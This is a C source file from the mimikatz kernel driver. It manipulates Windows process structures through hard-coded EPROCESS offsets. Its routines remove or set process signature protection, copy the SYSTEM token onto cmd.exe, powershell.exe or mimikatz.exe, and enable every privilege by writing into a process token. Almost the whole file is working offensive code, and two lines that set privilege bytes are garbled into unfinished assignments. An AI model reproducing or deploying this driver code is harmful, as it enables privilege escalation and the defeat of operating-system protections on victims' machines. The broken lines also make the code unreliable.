mimikatz/mimidrv/kkll_m_process.c

273 lines
10 KiB
C

/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kkll_m_process.h"
const ULONG EPROCESS_OffSetTable[KiwiOsIndex_MAX][Eprocess_MAX] =
{ /* EprocessNext, EprocessFlags2, TokenPrivs, SignatureProtect */
/* dt nt!_EPROCESS -n ActiveProcessLinks -n Flags2 -n SignatureLevel */
#if defined(_M_IX86)
/* UNK */ {0},
/* XP */ {0x0088},
/* 2K3 */ {0x0098},
/* VISTA*/ {0x00a0, 0x0224, 0x0040},
/* 7 */ {0x00b8, 0x026c, 0x0040},
/* 8 */ {0x00b8, 0x00c0, 0x0040, 0x02d4},
/* BLUE */ {0x00b8, 0x00c0, 0x0040, 0x02cc},
/* 10_1507*/{0x00b8, 0x00c0, 0x0040, 0x02dc},
/* 10_1511*/{0x00b8, 0x00c0, 0x0040, 0x02dc},
/* 10_1607*/{0x00b8, 0x00c0, 0x0040, 0x02e4},
/* 10_1703*/{0x00b8, 0x00c0, 0x0040, 0x02ec},
/* 10_1709*/{0x00b8, 0x00c0, 0x0040, 0x02ec},
/* 10_1803*/{0x00b8, 0x00c0, 0x0040, 0x02ec},
/* 10_1809*/{0x00b8, 0x00c8, 0x0040, 0x02f4},
#else
/* UNK */ {0},
/* XP */ {0},
/* 2K3 */ {0x00e0},
/* VISTA*/ {0x00e8, 0x036c, 0x0040},
/* 7 */ {0x0188, 0x043c, 0x0040},
/* 8 */ {0x02e8, 0x02f8, 0x0040, 0x0648},
/* BLUE */ {0x02e8, 0x02f8, 0x0040, 0x0678},
/* 10_1507*/{0x02f0, 0x0300, 0x0040, 0x06a8},
/* 10_1511*/{0x02f0, 0x0300, 0x0040, 0x06b0},
/* 10_1607*/{0x02f0, 0x0300, 0x0040, 0x06c0},
/* 10_1703*/{0x02e8, 0x0300, 0x0040, 0x06c8},
/* 10_1709*/{0x02e8, 0x0300, 0x0040, 0x06c8},
/* 10_1803*/{0x02e8, 0x0300, 0x0040, 0x06c8},
/* 10_1809*/{0x02e8, 0x0300, 0x0040, 0x06c8},
#endif
};
NTSTATUS kkll_m_process_enum(SIZE_T szBufferIn, PVOID bufferIn, PKIWI_BUFFER outBuffer, PKKLL_M_PROCESS_CALLBACK callback, PVOID pvArg)
{
NTSTATUS status = STATUS_SUCCESS;
PEPROCESS pProcess = NULL;
for(
pProcess = PsInitialSystemProcess;
NT_SUCCESS(status) && (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) pProcess) + EPROCESS_OffSetTable[KiwiOsIndex][EprocessNext])) - EPROCESS_OffSetTable[KiwiOsIndex][EprocessNext]) != PsInitialSystemProcess;
pProcess = (PEPROCESS) ((ULONG_PTR) (*(PVOID *) (((ULONG_PTR) pProcess) + EPROCESS_OffSetTable[KiwiOsIndex][EprocessNext])) - EPROCESS_OffSetTable[KiwiOsIndex][EprocessNext])
)
{
status = callback(szBufferIn, bufferIn, outBuffer, pProcess, pvArg);
}
return status;
}
NTSTATUS kkll_m_process_list_callback(SIZE_T szBufferIn, PVOID bufferIn, PKIWI_BUFFER outBuffer, PEPROCESS pProcess, PVOID pvArg)
{
NTSTATUS status;
PKIWI_PROCESS_SIGNATURE_PROTECTION pSignatureProtect = NULL;
PULONG pFlags2 = NULL;
HANDLE processId = PsGetProcessId(pProcess);
PCHAR processName = PsGetProcessImageFileName(pProcess);
status = kprintf(outBuffer, L"%u\t%-14S", processId, processName);
if(NT_SUCCESS(status))
{
if(KiwiOsIndex >= KiwiOsIndex_VISTA)
{
pFlags2 = (PULONG) (((ULONG_PTR) pProcess) + EPROCESS_OffSetTable[KiwiOsIndex][EprocessFlags2]);
status = kprintf(outBuffer, L"\t%s", (*pFlags2 & TOKEN_FROZEN_MASK) ? L"F-Tok" : L" ");
if(NT_SUCCESS(status))
{
if(KiwiOsIndex >= KiwiOsIndex_8)
{
pSignatureProtect = (PKIWI_PROCESS_SIGNATURE_PROTECTION) (((ULONG_PTR) pProcess) + EPROCESS_OffSetTable[KiwiOsIndex][SignatureProtect]);
status = kprintf(outBuffer, L"\tSig %02x/%02x", pSignatureProtect->SignatureLevel, pSignatureProtect->SectionSignatureLevel);
if(NT_SUCCESS(status) && (KiwiOsIndex > KiwiOsIndex_8))
status = kprintf(outBuffer, L" [%1x-%1x-%1x]", pSignatureProtect->Protection.Type, pSignatureProtect->Protection.Audit, pSignatureProtect->Protection.Signer);
}
else if(*pFlags2 & PROTECTED_PROCESS_MASK)
{
status = kprintf(outBuffer, L"\tP-Proc");
}
}
}
if(NT_SUCCESS(status))
kprintf(outBuffer, L"\n");
}
return status;
}
NTSTATUS kkll_m_process_protect(SIZE_T szBufferIn, PVOID bufferIn, PKIWI_BUFFER outBuffer)
{
NTSTATUS status;
PEPROCESS pProcess = NULL;
PKIWI_PROCESS_SIGNATURE_PROTECTION pSignatureProtect = NULL;
PULONG pFlags2 = NULL;
PMIMIDRV_PROCESS_PROTECT_INFORMATION pInfos = (PMIMIDRV_PROCESS_PROTECT_INFORMATION) bufferIn;
if(KiwiOsIndex >= KiwiOsIndex_VISTA)
{
if(pInfos && (szBufferIn == sizeof(MIMIDRV_PROCESS_PROTECT_INFORMATION)))
{
status = PsLookupProcessByProcessId((HANDLE) pInfos->processId, &pProcess);
if(NT_SUCCESS(status))
{
if(KiwiOsIndex < KiwiOsIndex_8)
{
pFlags2 = (PULONG) (((ULONG_PTR) pProcess) + EPROCESS_OffSetTable[KiwiOsIndex][EprocessFlags2]);
if(pInfos->SignatureProtection.SignatureLevel)
*pFlags2 |= PROTECTED_PROCESS_MASK;
else
*pFlags2 &= ~PROTECTED_PROCESS_MASK;
}
else
{
pSignatureProtect = (PKIWI_PROCESS_SIGNATURE_PROTECTION) (((ULONG_PTR) pProcess) + EPROCESS_OffSetTable[KiwiOsIndex][SignatureProtect]);
pSignatureProtect->SignatureLevel = pInfos->SignatureProtection.SignatureLevel;
pSignatureProtect->SectionSignatureLevel = pInfos->SignatureProtection.SectionSignatureLevel;
if(KiwiOsIndex > KiwiOsIndex_8)
pSignatureProtect->Protection = pInfos->SignatureProtection.Protection;
}
ObDereferenceObject(pProcess);
}
}
else status = STATUS_INVALID_PARAMETER;
}
else status = STATUS_NOT_SUPPORTED;
return status;
}
NTSTATUS kkll_m_process_token(SIZE_T szBufferIn, PVOID bufferIn, PKIWI_BUFFER outBuffer)
{
NTSTATUS status = STATUS_SUCCESS;
PMIMIDRV_PROCESS_TOKEN_FROM_TO pTokenFromTo = (PMIMIDRV_PROCESS_TOKEN_FROM_TO) bufferIn;
ULONG fromProcessId, toProcessId;
HANDLE hFromProcess, hFromProcessToken;
PEPROCESS pFromProcess = PsInitialSystemProcess, pToProcess = NULL;
if(pTokenFromTo && (szBufferIn == sizeof(MIMIDRV_PROCESS_TOKEN_FROM_TO)))
{
if(pTokenFromTo->fromProcessId)
status = PsLookupProcessByProcessId((HANDLE) pTokenFromTo->fromProcessId, &pFromProcess);
if(NT_SUCCESS(status) && pTokenFromTo->toProcessId)
status = PsLookupProcessByProcessId((HANDLE) pTokenFromTo->toProcessId, &pToProcess);
}
if(NT_SUCCESS(status))
{
status = ObOpenObjectByPointer(pFromProcess, OBJ_KERNEL_HANDLE, NULL, 0, *PsProcessType, KernelMode, &hFromProcess);
if(NT_SUCCESS(status))
{
status = ZwOpenProcessTokenEx(hFromProcess, 0, OBJ_KERNEL_HANDLE, &hFromProcessToken);
if(NT_SUCCESS(status))
{
status = kprintf(outBuffer, L"Token from %u/%-14S\n", PsGetProcessId(pFromProcess), PsGetProcessImageFileName(pFromProcess));
if(NT_SUCCESS(status))
{
if(pToProcess)
status = kkll_m_process_token_toProcess(szBufferIn, bufferIn, outBuffer, hFromProcessToken, pToProcess);
else
status = kkll_m_process_enum(szBufferIn, bufferIn, outBuffer, kkll_m_process_systoken_callback, hFromProcessToken);
}
ZwClose(hFromProcessToken);
}
ZwClose(hFromProcess);
}
}
if(pToProcess)
ObDereferenceObject(pToProcess);
if(pFromProcess && (pFromProcess != PsInitialSystemProcess))
ObDereferenceObject(pFromProcess);
return status;
}
NTSTATUS kkll_m_process_systoken_callback(SIZE_T szBufferIn, PVOID bufferIn, PKIWI_BUFFER outBuffer, PEPROCESS pProcess, PVOID pvArg)
{
NTSTATUS status = STATUS_SUCCESS;
PCHAR processName = PsGetProcessImageFileName(pProcess);
if((RtlCompareMemory("mimikatz.exe", processName, 13) == 13) || (RtlCompareMemory("cmd.exe", processName, 7) == 7) || (RtlCompareMemory("powershell.exe", processName, 14) == 14))
status = kkll_m_process_token_toProcess(szBufferIn, bufferIn, outBuffer, (HANDLE) pvArg, pProcess);
return status;
}
NTSTATUS kkll_m_process_token_toProcess(SIZE_T szBufferIn, PVOID bufferIn, PKIWI_BUFFER outBuffer, HANDLE hSrcToken, PEPROCESS pToProcess)
{
PROCESS_ACCESS_TOKEN ProcessTokenInformation = {NULL, NULL};
HANDLE hToProcess;
PULONG pFlags2 = NULL;
NTSTATUS status;
HANDLE processId = PsGetProcessId(pToProcess);
PCHAR processName = PsGetProcessImageFileName(pToProcess);
status = ObOpenObjectByPointer(pToProcess, OBJ_KERNEL_HANDLE, NULL, 0, *PsProcessType, KernelMode, &hToProcess);
if(NT_SUCCESS(status))
{
status = ZwDuplicateToken(hSrcToken, 0, NULL, FALSE, TokenPrimary, &ProcessTokenInformation.Token);
if(NT_SUCCESS(status))
{
if(KiwiOsIndex >= KiwiOsIndex_VISTA)
{
pFlags2 = (PULONG) (((ULONG_PTR) pToProcess) + EPROCESS_OffSetTable[KiwiOsIndex][EprocessFlags2]);
if(*pFlags2 & TOKEN_FROZEN_MASK)
*pFlags2 &= ~TOKEN_FROZEN_MASK;
else
pFlags2 = NULL;
}
status = ZwSetInformationProcess(hToProcess, ProcessAccessToken, &ProcessTokenInformation, sizeof(PROCESS_ACCESS_TOKEN));
if(NT_SUCCESS(status))
status = kprintf(outBuffer, L" * to %u/%-14S\n", processId, processName);
else
status = kprintf(outBuffer, L" ! ZwSetInformationProcess 0x%08x for %u/%-14S\n", status, processId, processName);
if((KiwiOsIndex >= KiwiOsIndex_VISTA) && pFlags2)
*pFlags2 |= TOKEN_FROZEN_MASK;
ZwClose(ProcessTokenInformation.Token);
}
ZwClose(hToProcess);
}
return status;
}
NTSTATUS kkll_m_process_fullprivileges(SIZE_T szBufferIn, PVOID bufferIn, PKIWI_BUFFER outBuffer)
{
NTSTATUS status = STATUS_SUCCESS;
PEPROCESS pProcess = NULL;
PACCESS_TOKEN pAccessToken = NULL;
PKIWI_NT6_PRIVILEGES pPrivileges;
PULONG pPid = (PULONG) bufferIn;
if(KiwiOsIndex >= KiwiOsIndex_VISTA)
{
if(pPid && (szBufferIn == sizeof(ULONG)))
status = PsLookupProcessByProcessId((HANDLE) *pPid, &pProcess);
else
pProcess = PsGetCurrentProcess();
if(NT_SUCCESS(status) && pProcess)
{
if(pAccessToken = PsReferencePrimaryToken(pProcess))
{
status = kprintf(outBuffer, L"All privileges for the access token from %u/%-14S\n", PsGetProcessId(pProcess), PsGetProcessImageFileName(pProcess));
pPrivileges = (PKIWI_NT6_PRIVILEGES) (((ULONG_PTR) pAccessToken) + EPROCESS_OffSetTable[KiwiOsIndex][TokenPrivs]);
pPrivileges->Present[0] = pPrivileges->Enabled[0] /*= pPrivileges->EnabledByDefault[0]*/ = 0xfc;
pPrivileges->Present[1] = pPrivileges->Enabled[1] /*= pPrivileges->EnabledByDefault[1]*/ = //...0xff;
pPrivileges->Present[2] = pPrivileges->Enabled[2] /*= pPrivileges->EnabledByDefault[2]*/ = //...0xff;
pPrivileges->Present[3] = pPrivileges->Enabled[3] /*= pPrivileges->EnabledByDefault[3]*/ = 0xff;
pPrivileges->Present[4] = pPrivileges->Enabled[4] /*= pPrivileges->EnabledByDefault[4]*/ = 0x0f;
PsDereferencePrimaryToken(pAccessToken);
}
if(pProcess != PsGetCurrentProcess())
ObDereferenceObject(pProcess);
}
}
else status = STATUS_NOT_SUPPORTED;
return status;
}